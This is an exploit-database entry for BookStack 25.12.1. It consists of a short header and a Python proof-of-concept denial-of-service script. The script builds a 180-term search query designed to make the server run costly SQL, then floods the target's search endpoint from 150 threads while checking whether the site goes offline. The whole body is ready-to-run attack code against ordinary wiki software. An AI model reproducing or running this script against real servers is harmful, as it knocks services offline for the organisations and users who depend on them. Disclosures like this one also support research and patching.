BookStack 25.12.1 - Denial of Service

EDB-ID:

52571

CVE:

N/A




Platform:

Multiple

Date:

2026-05-21


# Exploit Title: BookStack 25.12.1 - Denial of Service 
Search Terms (Resource Exhaustion)
# Date: 2026-04-29
# Exploit Author: Gabriel Rodrigues (TEXUGO)
# Vendor Homepage: https://www.bookstackapp.com
# Software Link: https://github.com/BookStackApp/BookStack
# Version: < 25.12.1
# Tested on: BookStack v25.12 (Docker) + PHP 8.3 + MySQL 8.0
# CVE: Pending (Request ID: 1970573)
# References:
# https://www.bookstackapp.com/blog/bookstack-release-v25-12-1/
# https://github.com/BookStackApp/BookStack/security/advisories (if any)

"""
BookStack DoS PoC
python3 poc_dos_search.py http://localhost:8080 [cookie]
"""

import requests, sys, time
from urllib.parse import quote
from concurrent.futures import ThreadPoolExecutor

# Payload: 100 termos + 50 exatos + 30 tags = 180 termos de busca
# Gera query SQL com muitos OR LIKE, full table scans e subqueries
PAYLOAD = " ".join([f"t{i}" for i in range(100)] + [f'"e{i}"' for i in range(50)] + [f"[t{i}=v{i}]" for i in range(30)])
stop = False

def attack(url, headers):
    s = requests.Session()
    while not stop:
        try:
            s.get(url, headers=headers, timeout=30)
        except:
            pass

def main():
    global stop
    url = sys.argv[1].rstrip("/")
    cookie = sys.argv[2] if len(sys.argv) > 2 else None
    search_url = f"{url}/search?term={quote(PAYLOAD)}"
    headers = {"Cookie": cookie} if cookie else {}
    
    print(f"[*] Query: {PAYLOAD[:80]}...")
    print(f"[*] URL completa tem {len(search_url)} bytes")
    print(f"[*] Atacando {url} com 150 threads por 30s\n")
    
    with ThreadPoolExecutor(150) as ex:
        [ex.submit(attack, search_url, headers) for _ in range(150)]
        
        for i in range(15):
            time.sleep(2)
            try:
                r = requests.get(url, timeout=3)
                print(f"[{(i+1)*2:2d}s] ONLINE - {r.status_code}")
            except requests.exceptions.Timeout:
                print(f"[{(i+1)*2:2d}s] OFFLINE - TIMEOUT")
            except:
                print(f"[{(i+1)*2:2d}s] OFFLINE - CONNECTION ERROR")
        
        stop = True

if __name__ == "__main__":
    main()